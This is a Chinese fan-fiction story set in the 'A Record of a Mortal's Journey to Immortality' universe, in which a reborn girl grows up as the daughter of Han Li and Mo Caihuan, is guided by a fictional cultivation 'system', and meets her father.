《[凡人修仙传]成为韩立女儿后》
1. 投胎
“没有灵根,真的就不能修仙吗?”
“韩大哥……”
病榻上的墨彩环紧握着韩立赠予她的驻颜丹,她自十六岁起,便芳心暗许,苦熬了二十年的等待,只是镜花水月,到底成空,她不甘心,她不甘心啊!
可凡人与修仙者的天堑,非蝼蚁之力能够撼动。
她终究是个平庸的凡人。
气息散去,红颜香消玉殆。
一缕光晕闪过,所有景象扭曲,化为二十年前的墨府。
正值碧玉年华的墨彩环,安塌入睡。
光怪陆离的梦境中,她面前忽然多出一颗小树,树上坐着一个五岁小女孩,黑亮的眸子盯着她:
“你就是我这一世的娘亲吗?”
“……”
墨彩环失语,但看着面前的小姑娘,心中说不上来的感觉。
女孩虽偏瘦,但整体外貌俏似她,另一部分则是像另一个人。
大抵是孩子的父亲。
“你会是我未来的孩子?”
墨彩环对她并不排斥,近身上前,缓缓向前伸手,小姑娘朝她微微一笑,周身化为碎金光点,梦醒了。
“我,我怎么会梦到这个。”
想到这,墨彩环脸蛋发红,她自小体弱,在墨府长大,从未对任何男子倾心,如何会有个孩子。
再说,她身上虽有婚约,但未婚夫样貌也不像那孩子。
思绪如浪潮,让墨彩环一时心如乱麻。
这时,家中丫鬟过来说:“严夫人来唤,让小姐去前堂。”
……
嘉元城外。
【小怜,你之前给那墨大夫一颗封存的墨蛟内囊,现在成了墨彩环的嫁妆之一了,你上辈子的功德就用到这个不能修仙的凡人身上?】
“有什么问题么。”小怜在虚空中,看着一个白光886,在冒绿光的小树树冠,上蹿下跳:
【当然不好啦,你投胎到那凡女身上,父亲又选的是本方主角韩立,他们俩资质那么差,你托胎成人的□□还怎么修炼啊!】
“不怕啊,我不是还有你。”
小怜嘴角微扬,“我积攒功德成为一颗虚空中的世界小树苗,886你意外绑定了我,刚好大千世界中我选中了这凡人修仙世界,我一落地,就到了她附近,这不有缘分,我想融入这世界不被规则排斥,她是最好的人选,而且……”
886气势瞬间蔫了。
【好好好,你是同情那姑娘苦守二十载,与君不复见的悲剧吧,她是凡人,这注定她与韩立是背道而驰的,就算你降生后,韩立也不会因为你,与她厮守终生,人家初心就是爱修仙梦长生。】
小怜没有回应。
神识扩向远处的七玄门神手谷,一道凡人魂魄陨落,她轻叹:
“此方修仙界不讲究非要断绝红尘,才能成就长生大道。我既成世界树苗,那么待我存了功德积分后,你不就能兑换三千小世界的东西,我也可助她脱离凡尘。不说永生不灭,至少能活长久些,不负这一场母女之缘。”
小怜前世亲缘寡淡,一生积蓄都捐赠孤儿院和希望小学,自身更是勤勉好学,努力让自己从贫困线活成小康,不算大富大贵,但她不悔乐于助人,活一世,只为心中的道义。
自此地府定了她对世人有功德在身,让她成为虚空中待成长的树苗。
886绑定她,本来也是为互利,通过世界交易,来换取能量。
选定凡人世界时,双方都认为对方选的世界还行。
修仙世界风险高,但收益高。
886甚至都准备安排小怜降生在修仙世家,有家族资源堆砌,怎么招闯关难度都不高。
但它没想到,小怜会选这种堪比地狱般的开局。
娘是个孱弱但多思的凡人,爹是个不沾因果的修仙狂魔。
相当于来到一个丧偶式家庭里,娘还可能英年早逝,变成黑发人送白发人。
关键是啥。
它的亲亲宿主,选了个修炼资源短缺甚至没有的家族,接下来它都能预料,小怜会成为新一代的小韩跑跑。
【宿主,你千万别想不开啊,你要成了韩立的女儿,随他,你就一路都在逃命了,说不定韩立招惹来的仇家,全追你砍呢。】
小怜心中有定数,墨彩环合她眼缘,上辈子自己不能选择父母,这辈子是她自己选的,就算事后有变,她也会坦然走完。
数日后。
正在虚空中修炼的小怜,感觉冥冥中有道看不清的血缘线,在呼唤着她。
“哦,机会来了!”小怜眼前一亮。
身下的小树苗也抖了抖树枝,一团绿光包裹住小怜全身,在一道道神秘轮回祭文中,她成了一颗新生的胚胎。
随着祭文的淡化,886的声音渐渐淡去:
【宿主,你投胎成人后,关于前世到现在的记忆都会被封存,直到三岁后才会恢复记忆,886会在你六岁那年按你说的……】
☆
墨府上下都战战克克,没有一个下人敢说话。
闺阁里,严夫人屏退了看诊的大夫,握紧了墨彩环的手,“我的女儿,你这是何苦,凡人与修仙者是两个世界,你爹苦苦追求修仙,最终却落得那样的下场,你又,不惜与那姓韩的扯上关系……”
“女儿不孝,与他结成一场露水情缘,本以为此生再无缘分,可上天怜惜,让我有了韩大哥的孩儿,我会护着这孩儿的,那桩婚事,还请娘帮我推辞去。”
墨彩环泪眼婆娑,跪在严夫人面前。
她身影,因时常的思念,越发单薄了,这落在母亲心中,哪会不心疼。
严夫人扶起她,温柔地抹掉墨彩环脸颊的泪珠,“你长大了,有自己的主见,娘很欣慰。我们女子要想存活于世,本就不是易事。既然孩子生父选择了修仙这条路,你也要学会打理家族产业。万万不要为了他,带累了孩子。”
“多谢娘成全。”
墨彩环依偎在严夫人怀里,低声抽泣。
此生她或许与韩大哥缘尽了。
她抚上小腹,但有了孩子,她便要多为孩子做打算。
日子悄悄度过,墨彩环开始渐渐接触墨大夫留给她们的惊蛟会,一边学习庶务,一边养胎。
怀至三月,墨彩环仍会思念韩立,每逢月圆之夜,她总会抚摸微突的小腹,漫步在药园里,看着一簇簇茁长成长的药植,她温柔一笑,对着肚子里宝宝轻声呢语。
她忽然想起十六岁那年做的一场梦,心中涟漪不断。
几日后,前来看诊的医女却是啧啧称奇:“这孩子倒乖,墨姑娘这头三月都没什么害喜?”
“我身体无恙,之前的弱疾似乎也好转了些,不总需要服用补药。”
墨彩环身上洋溢着初为人母的喜悦,期待着她与韩大哥的孩儿安全降临。
☆
黎明初升,墨府山庄传来一声孩童哭啼声,朝霞也格外璀璨绚丽。
墨彩环虚弱地靠在床上,见严夫人抱着襁褓徐徐走来,脸上掩不住喜色。
“娘,让我看看孩子。”
严夫人掩不住欣喜,抱近给她看,“这孩子生的白净,倒像你小时候招人稀罕,环儿,你打算给孩子取什么名?”
刚出生的婴孩不似寻常孩子,皮肤光洁白嫩,还长有胎发,虽眯着眼睛,可小巧的五官依稀可见是个美人坯子,能够想象长成之后的美丽容貌。
默默关注的886暗中庆幸:【还好,小怜结合了两人的优点长,若是女儿肖爹,那可就遭殃了。
平平无奇的韩立,可是个皮肤黝黑的农村小子,小怜就没有遗传这种土气。
嗯,真好。】
“怜者自惜,就叫墨怜,女儿希望这孩子能珍惜自身,往后平安顺遂。”
“好,墨怜,就是我墨府的嫡孙女!”
另一边,刚靠升仙令拜入黄枫谷的韩立,听到身边的同门弟子闲聊:
“终于能拜入黄枫谷为弟子,我家中刚好传来书信,说是有一女降生,真是双喜临门。”<
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“都修仙了,莫要过多参与世俗。”
“话虽如此,但亲缘已至,我等若无结丹可能,返还世俗也能庇佑家族,安享天伦之乐……”
亲缘。
韩立不觉身形停顿,就在方才,他心中闪过一丝异样,脑海不自觉浮现爹娘兄弟小妹,不知他们在凡尘中可还安好。
但这点尘缘,终究是他修仙路上倒退的风景。
修炼,修炼,才是他入黄枫谷的要紧事。
韩立道心坚定,迈入药园开启修仙路。
☆
顺利在墨府降生的墨怜,开启了她吃吃睡睡,如同普通凡人一样,无忧无虑,在墨彩环的照料下,长到三岁。
如今,嘉元城的惊蛟会却随着墨大夫的逝去,门派之间越发争端不断。
墨彩环肉眼可见的忙碌起来,而墨怜的记忆也回归了一些。
这天,886出现在她意识里:
【宿主,我是最强修仙升级万界交易系统。
少年,你想成为长生永恒的存在吗?你有需要保护的亲友吗?
不要996,只要886个金瓜子,你就能获得绑定本系统的机会!】
觉醒十六岁记忆的墨怜,小手单托下巴,眨了眨水灵灵的大眼睛:“你是系统?”
紧接着,她狡黠一笑,双瞳透满灵动。
“别真当我三岁小孩,我平时可是看过几本小说的,你们系统不都免费绑定。再说,你可是修仙系统,怎么会索取凡俗金银,我若不绑定,你又当怎样。”
886见宿主连火都发不起来。
谁叫小怜现在变成三岁小孩,说起话来,奶凶奶凶的。
它都不好意思敲诈金子了。
于是,886转成世外高人的样子:【咳咳,其实呢,本系统看你很有前途,又是……五行俱全之人,修仙上限高,是个不错的苗子。】
经过886的软磨硬泡,墨怜终于答应了“绑定”,墨府不缺金银,墨怜对亲姥姥一个撒娇卖萌,小山堆的金瓜子被886收入囊中。
孩童生活难免枯燥,墨怜毕竟觉醒了记忆,不可能真像个小孩般傻乐。
一人一统便有一搭没一搭聊起。
墨怜很好奇自己的身世,“886,你知道我生父是谁吗?”
886便想提醒。
可话到嘴边,却感受到规则隐晦的威压。
它嘞个娘呀。
宿主怎么忘掉这么重要的事!
她爹是韩立,这个千年来都在不断杀人夺宝,逃跑小能手、唯爱修仙的韩老魔,是这个世界的气运主角。
但886一想透露,就有种预感被天雷锁定的恐惧惊颤。
于是乎,886从心了。
破罐子破摔:【你娘爱上了一个修仙狂魔,两人亲热后有了你,但你爹去追求他的长生大道了,若是没有意外,你们娘俩是别想团聚。】
“嘶,这大渣男,睡了我娘,就心安理得去追求自己的梦想了,都还没交抚养费呢,也不怕到时候渡劫过不了心魔那一关。”
墨怜晃起小脚踢了踢桌腿,啃了一块碗碟上的桂花糕,瞬间对这便宜爹没啥了解的兴趣。
牙还没长齐,骂气人来,小嘴倒挺利索。
886无语:这还说呢,当初可是你一手安排的!
它这个做统还能怎么办。
自己找的宿主,当然是宠着了。
墨怜得知能够修仙,兴冲冲地问:“先不提渣父了,那我嘞,我是什么灵根?”
【你闭眼,就能感知自己神海里有多少种颜色就清楚了。】
顺着886的指引,墨怜闭眼内窥。
神海像是一片干净澄澈的水面,生长着一颗淡绿的小树苗,远观呈现青绿,近看,就有对应金木水火土五行颜色。
退出内窥,墨怜迟疑道:“按照套路,难道我是传说中的天灵根?”
886:……
【少年,放弃你的中二幻想,你只是个五灵根。】
2. 父女相遇
修仙界讲究灵根是修行的起源,没有灵根的凡人,一辈子都修仙无望,除非轮回转世,运气好点,拥有灵根,才能踏上修仙路。
五灵根,能够与每种属性的灵气共鸣,一旦修炼有成,比单灵根同阶修士会强出一小个境界。
墨怜目前还是乐观的,她能修仙,就已经比那些不能修仙的凡人好出太多。
“五灵根也没什么不好。”
886泼了盆冷水:【你要知道灵根越多,所需的修炼资源就比灵根少的修士多几倍,而灵根也可能斑驳,其中艰辛不是一句两句就能说明白,你现在还未觉得如何,等你长大后去参加灵根测试就知道了。】
见886说着这么严肃,墨怜也不觉审视,如果真的修炼艰难,她就要踌躇不前?
到了饭点,难得抽出时间过来用饭的墨彩环,看着没精打采的墨怜,柔声问:“怜儿可是不喜今日的饭食?”
墨怜摇头。
见她小小的人儿神色恹恹,墨彩环不放心,握住她的手腕,把了把脉,良久,才松开。
孩子也没病,可能是她陪伴少了。
越想越觉得愧欠,这些日子,她们墨府遭到五色门的针对,惊蛟会的交易也被屡次搅扰,她接手严夫人管理的产业,忙于应对,根本抽不出多少时间陪她的怜儿。
“怜儿,都怪娘,没及时发现你的情况,你想吃什么,娘给你做。”
墨彩环抱起墨怜,轻柔地拍拍她的后背,像哄乖宝宝一样。
这份温柔,让墨怜感到一阵无措和不适应,前世的妈妈对她不闻不问,每天就知道去打麻将,她饿着肚子去找她,也只会说找你爸去,还是奶奶给她做饭,但父母离婚后,奶奶也病逝了,再也没有人真正在乎她了……但现在不一样。
墨怜脸贴在墨彩环身上,小手紧攥着她的衣裳,贪恋这一份渴望已久的母爱。
“我要娘……喂我吃。”
墨怜小心翼翼提出这个要求。
三岁还要喂饭,听起来很羞耻,但她就想任性这么一回。
在墨府,喂饭自然是有乳娘,但到底不是亲娘,那份感觉不同。
墨彩环失神了下,并未说她什么,身为墨府的小姐,从小五指不沾阳春水,除了学习医术,还真未做过伺候小孩。
可她依旧向旁边的乳娘请教,一点点喂墨怜。
墨怜每一口都乖乖张嘴接下,看着墨彩环的眼睛亮晶晶,多了一丝神采。
修仙难又如何。
她不仅要自己修仙得道,还要让娘也跟她一起踏上修仙路。
至于那个抛弃娘亲的负心男人,等她修为有成,就让他火葬场罢了。
☆
日子一天天过去,墨怜学习一段时间女红后,又央求严夫人让她习武。
好在因为墨大夫的缘故,严夫人自身也会点武功,便召墨怜到跟前。
“怜儿,习武并非一日之功,一旦开始,你要吃不了苦头,到时候喊停,奶奶可不会留手。”
“我知道,一切都听奶奶的。”墨怜甜甜应声。
严夫人打心底喜欢她这乖孙女,摸了摸她毛茸茸的头,“你爷爷的书房有很多从各地收集来的练功用具,你有需要就去看看。”
一把钥匙塞进墨怜手中,又叮嘱了事宜,便又去忙碌。
墨怜揣着钥匙,一路来到墨大夫的书房。
房间昏暗,窗棂透来一层薄光,映照在摆满瓶瓶罐罐的桌案,后侧博古架塞满了各式各样的书籍。
“这是……修仙手札?”
墨怜从抽屉翻出一个木匣,一开盖,里头装的都是与修仙有关的器物。
这本修仙手札,她随意翻看了几页。
全是墨大夫在这些年搜集来的修仙传闻,不过真假参半,大多对修行没有太大作用。
墨怜挑来挑选,选出一本基础功法。
经过严夫人指教,和886暗中提供的淬体丹药,很快她身形灵活,面对几个惊蛟会武力高强的打手,都能打得有来有回。
对于年纪已至六岁的她来说,在武学上的修炼算是有不错的结果。
这天深夜,墨怜被墨彩环抱上马车,她这段时间都在练武,但对外界焦灼的江湖门派斗争,还是有点朦胧的感知,墨府的太平日子很快就要结束了。
“娘,我们这是要去哪?”墨怜仰着头,明亮的双眼直视墨彩环。
“不用担心,嘉元城现在太乱了,我们要去燕家堡,可以得到堡主庇护,总比这里好。”
墨彩环对自己女儿还算了解,不把她当懵懂小孩,而是耐心解释用意。
去往燕家堡的路途还算顺利,墨彩环带着墨怜来到一家略微破旧的药馆,正是墨家在燕家堡布置的产业,母女两人就在此暂时定居。
没过来的严夫人他们,墨怜心中已有不好的预感,但她现在还未炼气入体,想要做什么都很无奈。
墨彩环经营药馆,而墨怜在旁边打下手,学习医术。
炼制的一些药丸,她让886放在万界交易平台上挂单,收益与886三七开,她可以用卖出的收益来买万界交易平台的商品。
像修仙功法,法器,灵草,丹药,符箓等都可以在上面交易。
886惊喜的声音传来:
【小怜,你看我给你找来了什么!】
墨怜配合地笑了笑:“说吧,你找来什么好东西了。”
【长春功全本,怎么样,这是适合木灵根修士的功法,所有灵根中木系成长潜力大,你是五灵根也能修行,不过修炼第一步是先打好基础。】
墨怜不挑剔。
贪多嚼不烂,打好根基,将来有助于稳固修为境界。
安定下来后,墨怜便专心修炼长春功,对木属性灵气的感受更深了,在照料药草时,明显更能摸准到植物生长的喜好。
☆
医馆挂上了闭馆牌子,墨怜拉着墨彩环的手,往燕家堡城外走去。
见女儿一副神神秘秘的样子,墨彩环心中好奇,“怜儿,你这是要带娘去哪?”
“燕家堡郊外,娘你跟我来。”
母女两人穿过城墙,在一颗高耸大树下,站立脚步。
“这是……”墨彩环呢喃。
树桩有一个不起眼的洞口,正闪烁着微弱的金光,此情此景,她不由屏住呼吸,眸底略过一抹复杂。
墨怜走过去,蹲下身,四周没有什么人,这才扭头喊:“娘,我跟虎头哥他们出去玩,就在这里发现了这个会发光的东西,我没告诉虎头哥,就先找娘来看看,是不是什么很宝贵的东西。”
“不。”墨彩环从泥土里翻出冒着金光的玉简,“如果娘没猜错,它与……修仙有关。”
说到修仙二字,墨彩环神色黯然了一瞬,显然是想到了什么,缓缓才道:“怜儿,我们是凡人,这样的东西,只能藏着,决不能暴露于人前。”
墨怜按捺不住,伸手拉住她要放下的手:“娘,我知道什么是修仙,我在爷爷的书房看见过修仙传闻,而且娘,如果我们能修仙,那么就不用怕别人欺负咱们。”
她攥紧小拳头,不仅是前世的遭遇,让她明白,实力才是立足一切的基点,而这方有修仙者的世界更为残酷。
强者面前没有弱者的席位,凡人一生贫苦卑贱,无法掌控自己的命运。
“但怜儿你可知,凡人若没有灵根,就……”
最后一句话,墨彩环怎么也说不出口,自从与韩大哥一别,她就渐渐明白,凡人和修仙者之间隔着一道无法跨越的天堑。
那些深埋心底的爱慕和思念,不过是她一人的执念。
韩大哥漫长的岁月里,可能会遇到许多女子,而她只是一个凡人,连陪伴他身侧都做不到。
墨怜连忙在心底问:886,我娘没有灵根,走其他路子得道,也可以吧?
私心底,她不想墨彩环就这么经历生老病死,再入轮回,忘却前世记忆。
若如此,她们便不是母女,而是陌生人。
886无奈的叹气:【路子多是没错,但你想过没有,想要修仙得道,首先道心就得坚定,你娘对你爹执念太深,以后怕会过不了心魔那一关。】
墨怜不服:我娘我还算了解,她行医救人,自有功德入身,若能在万界找到能以功德修炼的功法就好了,心不心魔的,她又不是恋爱脑,心魔一事事在人为,大不了我去找我爹,让他来化解。
886说不过她,只好继续:
【接下来你可得努力修炼了,修为越高,你炼丹、画符的品级也会高,到时候能交易的东西选择权就多了。】
墨怜看着陷入沉思的墨彩环,稚嫩的脸颊展出了超出年龄的坚定:“娘,我想修仙。这条路有多艰辛,我已从爷爷的手札中有所目睹,但人活一世便是与天相争,不若一试,我怕将来自己会后悔。”
女儿早慧,省心,墨彩环知道孩子心中怕是早就有所向往。
可理智上接受,情感上却很难接受。
孩子父亲是修仙者,女儿若是有机缘,也成了修仙者。
那……她呢。
墨怜小手覆在墨彩环手背上,目光澄澈:“娘,修仙世界无所不奇,若我寻到机缘,也让娘你能修仙,我们一家都奔赴修仙路。”
“你呀。”墨彩环失声一笑,摸了摸她发顶,“娘知道你的孝心,你有这份心意,娘很高兴……”
墨怜被她搂入怀中,并未发觉她无声落泪。
收好玉简,母女俩清理现场,就像这里从来都没有出现过东西一样。
回到医馆,墨怜看着这块玉简。
从万界兑换来的《大衍决》,一共七层,修炼有成,能让神识超越
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同阶修士,但修炼门槛高,需要一定的心境打磨。
因此,她并未着急修炼,手一摊,掌心冒出一颗虚幻的小树苗,将玉简丢入小树苗的虚空内。
看向小树苗身上像人为烙印的神秘符文,墨怜心中默念:
凝神静气,抱元守一。
易守丹田,灵台清明。
那些符文飘出空中,化为一丝空间之力汇入墨怜全身经络,与灵气交错,落入丹田内的小树苗,似乎枝叶都舒展了许多。
886旁观她的修炼:???
炼气一层,还行。
不对,炼气二层?
再眨眼,墨怜跟坐火箭似的,修为蹭蹭直线逼近炼气大圆满。
不过停在炼气大圆满后,墨怜才睁开眼,吐纳调息。
886忙问:【小怜,你真是太厉害了,普通凡人可没有你这窜天猴一般的修炼速度。
说起来也怪,你这五灵根的修炼速度怎么跟天灵根不分上下?
这凡人地界灵气稀薄,放眼修仙界都堪比怪物了。】
墨怜心中同样疑惑。
“难不成,是体内的世界树为我提供的灵气?”
可修炼到一定程度,她就明显感觉到灵脉运转速度有些停滞。
不过886有一点说对了。
修炼速度太过诡谲,未避免遭人眼红,她还是低调些。
墨怜清楚光有修为还不够,她仍需增长历练经验。
跟墨彩环打好招呼,白天她披上面具披风,外出探险,一方面寻找机缘,一方面通过实战,丰富斗法经验。
有886的帮助,她找到一处隐蔽的修仙大能的传承。
不过这大能修为才元婴初期,洞内的东西被她打包成功,拿出一件能隐形的纱衣,可遮蔽气息,非化神修士,无人可用神识探查到她的存在。
但随着时间流逝,墨怜看着魔道入侵的痕迹,越发感到这平稳日子又不太平了。
☆
她站在一颗大树分叉上,俯瞰外围的城堡,与886闲聊:“燕堡主真是的,竟然放任魔修进入城内,还举办什么夺宝大会。”
886习以为常:
【你怕什么,经过这两年的修炼,你不用靠筑基丹就达到了筑基初期的修为。
加上你炼制的丹药在万界平台的交易收获,你的底牌可不少了。
那姓燕的,对这一城的百姓不过当自家圈养的牲畜,那点感情完全抵不过他女儿燕如嫣。】
墨怜心知,魔道入侵城内多半不安稳,娘自不必说,万万不能留在此城。
如此一来,她得提前留一条后路。
城门口不断有各种门派的修士弟子飞往,而城中百姓早就习以为常。
看着最顶端的城墙上,挂着夺宝大会的横幅,墨怜暗嗤一声。
扫向门口那不起眼的阵眼。
墨怜收敛气息,像个寻常凡人,跳下树走入城内。
不过刚走几步,就见几个男人往一个黄衣女子靠近,脸上仅是色眯眯的表情,眼睛闪烁着一团紫雾。
而紫雾来源,就是黄衣女子抛来的媚眼。
墨怜暗忖,这女子也太张狂了,随意摆弄媚术,生怕别人发现不了她么。
886透露:【她叫董萱儿,来自黄枫谷,现在过来,应该是收到燕家堡的请柬来赴约。】
“另一边的那男子……”墨怜迟疑了会,“长得倒是平平无奇,不注意看还真不会留意他。”
话是这么说,但墨怜看见他,就有一种忍不住想要接近的亲近感。
奇了怪了。
墨怜又多瞧了他一眼。
这边,韩立见董萱儿到处招摇,担心惹来麻烦,不悦的喝止:“董师妹,师父出门前交代过,不许招摇,你快收了媚术。”
“哼,是这些凡人没有自制力,哪里怪得了我魅力太大。”
董萱儿不爽地环胸而抱,眉梢更是不屑一顾,“你不会嫉妒我太受欢迎?”
“想来也是,韩师兄你相貌平平无奇,平日人缘一般,自然不会懂我的乐趣。”
闻言,韩立忍不住翻了两白眼。
就在这时,他神情忽然警觉——有人在打量他。
心念一转,就看见余光略过一道矮小的身影。
他心中泛起异样的涟漪,目送小孩远去的背影,这个小孩怎么给他一种似曾相识的感觉。
难道是哪位故人之子……
这一幕被回头的董萱儿瞧见,暗嗤一声,“还说我呢,自己不也看见个小女孩,就目不转睛了。”
墨怜没在意这段小插曲,径直来到医馆。
从敞开的大门,走出一对相互扶持的老人,连连回头说着感激的话,再往里一看,墨彩环正整理药柜。
她笑着挥手打招呼,“娘,我回来了!”
3. 父女相认
墨彩环回首一笑,端来一壶热茶,放在木桌上。
“今天回来得这么早。”
“城内到处都是修士,我看他们一个个都有筑基期修为,玩得也不自在。”
墨怜从橱柜拿出两个茶杯,分别斟满了茶水,推了一杯到墨彩环面前,“还不如回来陪娘亲。”
“……”
见她神情愣怔,未应答。
墨怜回头一望,只见一个男子立在门外,仰头注视着药馆的匾额。
正巧深褐色眸子与她隔空对视。
墨彩环毫无征兆地站起身,往前走了两步,却停住身形,一把将墨怜拉到身前。
“韩大哥……”
他姓韩?
墨怜一脸探究,结合墨彩环那掩饰不住的思念,一个念头浮出水面。
“娘,你认识他。”
这也不俊美,更衬不上爽气,在一众修士里甚至显得很普通。
墨怜有些怀疑她娘癖好与众不同?
这边的动静,韩立很快就发现了。他本是游走在这街巷,发现了墨字招牌,为了确定心中所想,便亲自过来看,果不其然真的是墨姑娘在此。
自嘉元城一别,已有八年未见,他知道墨府覆灭后,还以为故人已逝。
对于这与自己有一夜露水情缘的女子,韩立心中闪过一丝愧疚,他本身天资就差,实力不强,又怎能护住一个无法修炼的凡人。
他便将这段少年意动压制心底深处,从未向任何人表露。
得知墨府被害后,他也心中决定,若有余力,必为墨姑娘报仇。
看见墨姑娘已是意料之喜,可见到她身边的小姑娘,他心头涌起一份奇怪的情感,还有一丝隐隐的猜测。
墨彩环也未想过自己朝思暮想的身影就在眼前,她以为自己有怜儿就够了,可见到这无论何时都能挑动自己情绪的男人,她终究没忍住落了泪。
“娘,这到底是怎么回事,难道他就是……”墨怜掏出丝绢递给她,看着韩立伫立在门口,迟疑了几秒,才试探的问:“你就是当初抛弃我娘的修士。”
“怜儿!别那么说韩大哥……”墨彩环轻喝。
墨怜眼中越发好奇,她信步走到韩立跟前。
垂头瞧了瞧这还刚及自己腰间的小女孩,韩立眼中闪过震撼,意外,纠结,困扰,他清楚自己一直想躲的因果,在此刻应验了。
“墨姑娘,她是……我的女儿?”
语气里还有几分不可置信,夹杂着错愕。
算算年龄,正好就是在墨府荒唐的一夜。
想起他与墨怜那一丝说不清的感应,韩立神色晦暗,叫人分辨不出喜怒。
墨彩环泪落满面,一口承认,“没错,你走后的第二个月,我被诊出有孕,我以为再也见不到韩大哥,便给她取名墨怜,愿她此生自爱自怜,平生安顺康乐。”
一时间,两人陷入沉默。
“墨怜,是个……好名字。”
韩立有些生硬的夸赞。
他一直避让与家人见面,可不想有了一个血脉在此。
如今有师门任务在身,这孩子或许以后也见不到了,免得日后挂怀,他说起其他话题:
“我是听墨府对面的酒楼掌柜,才得知墨府遭遇灭门,墨姑娘你和孩子是怎么来到燕家堡的。”
墨彩环听出他语气中的疏远避退,心尖一疼,眼前似乎又重现墨府当日的惨状。
“那日夜晚,与爹爹较好的五色门掌门,突然向墨府发起进攻,娘和惊蛟会的侍卫们拼死留出一条后路,让我带着怜儿逃离嘉元城,因燕家堡还有墨府的一点产业,我便来到这经营这家药馆营生。”
韩立疑惑,追问,“那我留下的曲魂呢,怎么会落成这个局面。”
“韩大哥有所不知,那位曲魂大哥忽然有一夜消失不见,我拿着你给的铃铛,追上山,可他却对我避之不及,后来就彻底消失不见。”
不管韩立心中是如何计较,墨怜却想抓住这个机会。
她出声打断两人的思考,“爹,我想修仙,请你教教我吧。”
一语落下,韩立看过来。
瞬间调动灵力,将大门关紧,又觉得不太安妥,便上了一个隔绝探查的阵盘。
看向墨怜时,神色闪过丝为难,半晌才道:“修仙一路艰难,我实力微末,教不了你什么。”
还有一句他没说,修仙看灵根。
若这孩子跟墨姑娘一样无灵根,或跟他一样的伪灵根。
这修仙路远比想象中,还要艰难数倍,甚至希望渺茫。
墨怜看出便宜爹有着无比冷酷的考量。
若不拿出点真东西出来,证明自己有份机缘,他可能只会念着一丝血脉之情,让她在凡俗活的好一些罢了。
“我看过爷爷对修仙的记载,我们凡人的世界也有修仙者,而修仙最重要的是有灵根和机缘,若是我有这个机会为何不争取。”
说罢,墨怜在韩、墨两人的目光中,拿出一块薄玉。
“这是我和娘在一处树桩发现的,它会发光,很像记载中修仙者使用的物件。”
韩立深深的看了她一眼,小小年纪便早慧、有主见,说起来,他心底竟隐隐有一丝认可。
但他向来行事稳健,不喜沾染不必要的因果,因而,并未坦言。
韩立用神识一探,却看不透是什么,再试着注入一丝灵力,这块薄玉突然震动,飞到半空中,逸散淡金色光晕。
他继续加注灵力。
薄玉表面冒出金色裂纹,白光一闪,一根翠玉色小剑嗖的闯入屋内,在四周横冲直撞,弄碎了不少家具。
难得一见有意识的灵剑。
而那枚薄玉表面还显出一些符文迹象,但再加注灵力,不起丝毫变动。
韩立担心这灵剑惹来其他修士的注意,立即用符箓和灵力操控,困住灵剑,不再乱撞。
“是一把好剑,其锋芒锐利,质地浑然天成。”
韩立猜测,极有可能是元婴级别以上修士炼制的法宝,品质非常不错。
连他也对这把剑有一丝渴望,女儿的机缘属实让人羡慕。
墨怜目光灼灼地盯着他:“爹,那我是不是可以修仙了?”
话音才落,那块薄玉,闪出一个光球。
韩立一眼认出,那是测试灵根的器具。
看来这块薄玉,远比他想象的还要不同寻常。
“你先测试一下灵根。”
韩立对测试结果并不抱太大希望。他通过黄枫谷藏书阁和师兄师姐了解过,有修仙世家的存在,也明白灵根是可以遗传的。
但他自身资质并不好,女儿的资质也不会好到哪里去。
墨怜对自己的灵根早有所知,但依旧在他们面前表现出对灵根十分期待的样子。
毕竟,任便宜爹怎么想,都想不明白自己早就跟他是一个水平。
二十六岁的筑基初期但四灵根vs八岁的筑基初期但五灵根。
内心憋着笑,墨怜轻轻握着白球。
透明的白球霎时间显示出五种颜色,韩立闭了闭眸,再次睁开,神情更冷清。
墨怜举起那五色球,小嘴咧开弧度,俏皮得紧,“这么多颜色,是不是很厉害?”
墨彩环在一旁注视,也带着期待的眼神看向韩立:
“怜儿是不是可以修仙了?”
竟是五灵根。
他自己一个四灵根都不敢奢求大道有成,女儿是五灵根。
伪灵根修炼太过艰难,他手握掌天瓶也过得如履薄冰,处处小心,才得以保全自身。
韩立为难了会,还是说了出来,“她是五灵根,也就是修仙界里的伪灵根。”
“伪灵根?那影响修仙吗?”
墨彩环看韩立神色不对,那丝喜悦也沉了下去,仍下意识追问,“韩大哥,伪灵根也是灵根,怜儿向往着修仙之道,拿着她外祖父的《长春功》,也能修炼……”
墨怜低头看着手中还在冒光的光球,又抬头看他。
不忍目睹母女俩期待的神情破灭,韩立侧过头继续:“伪灵根在修仙一路上十分艰难,即便能修炼,可能这辈子也止步筑基期而已。”
修成炼气期,也顶多活个一百余岁,依旧没有超脱凡人寿命桎梏。
或许,练气期就顶破天了。
他这一句话相当于宣判了墨怜的一眼望到头的修仙路。
空气蓦地陷入一阵沉默。
外头热闹哄哄,商贩的叫卖,孩童的嬉闹,还有路人闲聊,倒显得堂内落针可闻,这沉闷的静谧让人坐立不安。
“可是爷爷在手札里写过,修仙世界无奇不有,未必我就止步于这个筑基期呢?”墨怜反问,“我已经修炼到练气三层了,我还年轻,还有机会。”
她自觉醒了16岁记忆之后,又从系统那得知自己的灵根,起初她以为这一世就要无缘仙道,
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但事实却截然相反,她五灵根与天灵根相比,修炼速度不慢反快,这几年一路突破至筑基期,她并未向任何人张扬。
体内那棵世界树苗就是她通往仙道的底气,她提炼游离灵气才会如此顺畅,转为空间之力,面对同阶修士,她能有三分胜算。
而现在,她低调修仙,收敛自己的气息,像个凡人。
墨怜大胆地走上前,小手拉住韩立的衣袖。
“爹爹,我想成为像你这样的修士,就能保护娘了!”
韩立思绪忽的回到那年在神手谷勤学苦练好几载,靠着掌天瓶催熟药草,仅凭一本低阶功法修到炼气六层的修为,打败了墨大夫。
但,自己是有掌天瓶。
那墨怜她是否另有机缘在帮衬?
韩立半蹲下来,直视着墨怜的眼睛,“孩子,今日之事不可泄密,往后踏入修仙界,万事须得谨慎。”
“可是,爹爹是不一样的。”墨怜眸子澄澄凌凌,带有濡慕的纯情,“娘说过,我们一家人就要互相扶持。”
“如此,也好。”
有他这句话,墨怜就没继续透底。
他不问,就不答。
除了相依为命的墨彩环,她不会再说更多,就让便宜爹,以为她是个炼气三层的小卡拉米。
韩立失声笑了笑,在弱肉强食的修仙界待久了,他竟如此的防备。
可不若谨小慎微些,他怕是早在墨大夫那边便已殒命。
说起来,他对这个女儿还是有亏欠的,这八年,他并不陪在母女身边。
“话虽如此,人心难测……这把匕首便给你,它也曾陪我许多时日,你留着它以便防身。”
墨怜看着韩立从腰间轻轻一划,一把小巧的匕首,便凭空落在他手心。
接过匕首,墨怜还能感受到一丝淡淡的木系灵力。
“还不快向你爹爹道谢。”墨彩环满眼宠溺的看着墨怜。
